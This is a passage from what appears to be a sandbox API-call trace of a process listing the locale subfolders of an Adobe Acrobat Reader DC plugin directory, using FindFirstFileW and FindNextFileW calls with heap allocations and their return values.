() returned 0xc10000 [0249.663] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.664] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.664] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.665] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.665] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.665] GetProcessHeap () returned 0xc10000 [0249.665] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.665] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0249.665] GetProcessHeap () returned 0xc10000 [0249.665] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.666] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.666] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.666] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.666] GetProcessHeap () returned 0xc10000 [0249.666] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.666] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0249.666] GetProcessHeap () returned 0xc10000 [0249.666] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.672] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.672] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.672] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.672] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.672] GetProcessHeap () returned 0xc10000 [0249.672] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.672] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0249.672] GetProcessHeap () returned 0xc10000 [0249.672] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.673] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.673] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1349964, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.673] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1349964, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.673] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.674] GetProcessHeap () returned 0xc10000 [0249.674] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.674] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0249.674] GetProcessHeap () returned 0xc10000 [0249.674] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.831] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.831] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.832] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.832] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.832] GetProcessHeap () returned 0xc10000 [0249.832] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.833] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0249.833] GetProcessHeap () returned 0xc10000 [0249.833] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.834] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.835] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x599, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.835] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x599, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.835] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.835] GetProcessHeap () returned 0xc10000 [0249.836] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.836] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0249.836] GetProcessHeap () returned 0xc10000 [0249.836] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.839] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.839] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.839] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.839] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.839] GetProcessHeap () returned 0xc10000 [0249.840] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.840] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0249.840] GetProcessHeap () returned 0xc10000 [0249.840] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.841] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.841] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x533, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.841] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x533, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.841] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.842] GetProcessHeap () returned 0xc10000 [0249.842] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.842] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0249.842] GetProcessHeap () returned 0xc10000 [0249.842] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.842] FindFirstFileW (in: 